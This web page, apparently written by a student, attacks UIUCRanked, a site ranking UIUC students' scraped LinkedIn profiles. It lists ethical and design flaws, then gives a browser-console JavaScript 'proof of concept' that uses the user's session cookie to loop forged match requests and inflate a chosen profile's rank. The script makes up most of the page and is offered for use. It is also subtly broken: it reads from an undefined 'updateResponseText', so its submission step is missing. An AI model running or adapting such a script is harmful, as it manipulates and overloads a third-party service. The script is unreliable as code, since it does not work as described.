UIUCRanked was recently taken down by its authors'. This page is left here purely for historical reasons.

UIUCRanked is a Dumpster Fire

UIUCRanked is a website that scrapes LinkedIn profiles of UIUC CS students and ranks them based on ELO comparisons. This setup promotes a toxic culture of comparison, gamification of personal accomplishments, and likely violates LinkedIn's Terms of Service. This toxic culture belongs nowhere near CS @ UIUC, let alone anywhere.

Ethical Improprieties

No user consent: profiles are pulled without permission.
Users are judged based on scraped data and pit against each other.
This cultivates a harmful and unnecessary competitive atmosphere

Technical Incompetence

Pairing IDs can be specified client-side: a very poor design choice which enables leaderboard exploitation.
No rate limiting, meaning it's trivial to move anyone to the top of the leaderboard and exhaust resources.
The backend is unscalable and unprotected.
Using Vercel ≠ security or scalability.

Despite building a platform to judge others, it's ironically their own breathtaking technical incompetence that deserves scrutiny. Maybe the authors' should focus on learning the basics of system design before flexing on Twitter...

Author's Note

Your worth is not determined by a website or a leaderboard. Let's foster a more positive, inclusive, and collaborative culture in CS @ UIUC. Build cool things, but not at the expense of your peers' dignity.

And, UIUC students: maybe pay a little more attention in CS 210 😃

Proof-of-Concept ELO Boosting

You can easily manipulate this broken system by running a simple JavaScript snippet in your browser console.

Disclaimer: This code is provided as a proof of concept (PoC) for educational and research purposes only. Use it at your own risk. The author does not condone or take responsibility for any use that violates local, state, or federal laws. You are solely responsible for ensuring that your actions are lawful in your jurisdiction.

async function boostElo(cookie) {
  const targetId = "";
  // The ID of the person who's leaderboard rank you'd like to boost (See the leaderboard respnse in the browser console)
  const whitelist = [];
  // IDs to whitelist
  const FETCH_TIMEOUT = 5000; // 5 seconds timeout

async function fetchWithTimeout(url, options, timeout = FETCH_TIMEOUT) {
    const controller = new AbortController();
    const signal = controller.signal;

const fetchOptions = {
      ...options,
      signal,
    };

const timeoutId = setTimeout(() => controller.abort(), timeout);

try {
      const response = await fetch(url, fetchOptions);
      clearTimeout(timeoutId);
      return response;
    } catch (error) {
      clearTimeout(timeoutId);
      if (error.name === "AbortError") {
        console.warn(`Request timed out after ${timeout}ms`);
      } else {
        throw error;
      }
    }
  }

const state = {
    leaderboard: [],
    otherIds: [],
    lastRefreshTime: 0,
  };

async function fetchLeaderboard() {
    try {
      const leaderboardRaw = await fetchWithTimeout(
        "https://www.uiucranked.com/leaderboard",
        {
          credentials: "include",
          headers: {
            "User-Agent":
              "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
            Accept: "text/x-component",
            "Accept-Language": "en-US,en;q=0.5",
            "Next-Action": "407287189d3b42e58344c8861968ecb0b0f61cee03",
            Cookie: cookie,
            "Next-Router-State-Tree":
              "%5B%22%22%2C%7B%22children%22%3A%5B%22leaderboard%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Fleaderboard%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
            "Content-Type": "text/plain;charset=UTF-8",
            "Sec-GPC": "1",
            "Sec-Fetch-Dest": "empty",
            "Sec-Fetch-Mode": "cors",
            "Sec-Fetch-Site": "same-origin",
            Priority: "u=4",
            Pragma: "no-cache",
            "Cache-Control": "no-cache",
            Referer: "https://www.uiucranked.com/leaderboard",
          },
          referrer: "https://www.uiucranked.com/leaderboard",
          body: '[""]',
          method: "POST",
          mode: "cors",
        },
        10000
      );
      const text = await leaderboardRaw.text();
      const stIndex = text.indexOf("}") + 4;
      const leaderboard = JSON.parse(text.slice(stIndex, text.length));
      const allIds = leaderboard.map((item) => item._id);
      const otherIds = allIds.filter(
        (id) => id !== targetId && !whitelist.includes(id)
      );

state.leaderboard = leaderboard;
      state.otherIds = otherIds;
      state.lastRefreshTime = Date.now();

console.log(`Leaderboard refreshed at ${new Date().toISOString()}`);
      console.log(
        `Total players: ${leaderboard.length}, Processable IDs: ${otherIds.length}`
      );
    } catch (error) {
      console.error("Error fetching leaderboard:", error);
    }
  }

// Initial leaderboard fetch
  await fetchLeaderboard();

// Background leaderboard refresh every 5 seconds
  function startBackgroundRefresh() {
    setInterval(fetchLeaderboard, 5000);
  }
  startBackgroundRefresh();

const headers = {
    accept: "*/*",
    "accept-language": "en-US,en;q=0.9",
    "content-type": "application/json",
    origin: "https://www.uiucranked.com",
    priority: "u=1, i",
    referer: "https://www.uiucranked.com/",
    "sec-ch-ua":
      '"Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"macOS"',
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "user-agent":
      "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
  };

async function boostAgainstOpponent(id) {
    try {
      if (whitelist.includes(id)) {
        return null;
      }
      const ts = new Date().toISOString().replace(/\.\d+Z$/, "Z");

// Get token
      const tokenPayload = [
        {
          lmaoooooooo: "lmaoooooooo",
          leftProfileId: targetId,
          rightProfileId: id,
          timestamp: ts,
        },
      ];

const tokenResponseRaw = await fetchWithTimeout(
        "https://www.uiucranked.com/",
        {
          credentials: "include",
          headers: {
            "User-Agent":
              "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
            Accept: "text/x-component",
            "Accept-Language": "en-US,en;q=0.5",
            "Next-Action": "40831208b5c5dcace50f1c1017803376a5ee0c28a4",
            Cookie: cookie,
            "Next-Router-State-Tree":
              "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
            "Content-Type": "text/plain;charset=UTF-8",
            "Sec-GPC": "1",
            "Sec-Fetch-Dest": "empty",
            "Sec-Fetch-Mode": "cors",
            "Sec-Fetch-Site": "same-origin",
            Priority: "u=0",
            Pragma: "no-cache",
            "Cache-Control": "no-cache",
          },
          referrer: "https://www.uiucranked.com/",
          body: JSON.stringify(tokenPayload),
          method: "POST",
          mode: "cors",
        }
      );

const text2 = await updateResponseText.text();
      const stIndex2 = text2.indexOf("}") + 4;
      const updateData = JSON.parse(text2.slice(stIndex2, text2.length));

return updateData;
    } catch (error) {
      console.error(`Error boosting against ID ${id}:`, error);
      return null;
    }
  }

async function processLeaderboard() {
    while (true) {
      const currentIds = state.otherIds;
      const idsToProcess = currentIds.slice(0, 20);

await Promise.all(
        idsToProcess.map(async (id) => {
          const result = await boostAgainstOpponent(id);
          return result;
        })
      );
    }
  }

processLeaderboard();
}

boostElo('YOUR_COOKIE_HERE');

'YOUR_COOKIE_HERE' is the value of the Cookie header sent to the server in all requests. This can be found in the browser DevTools.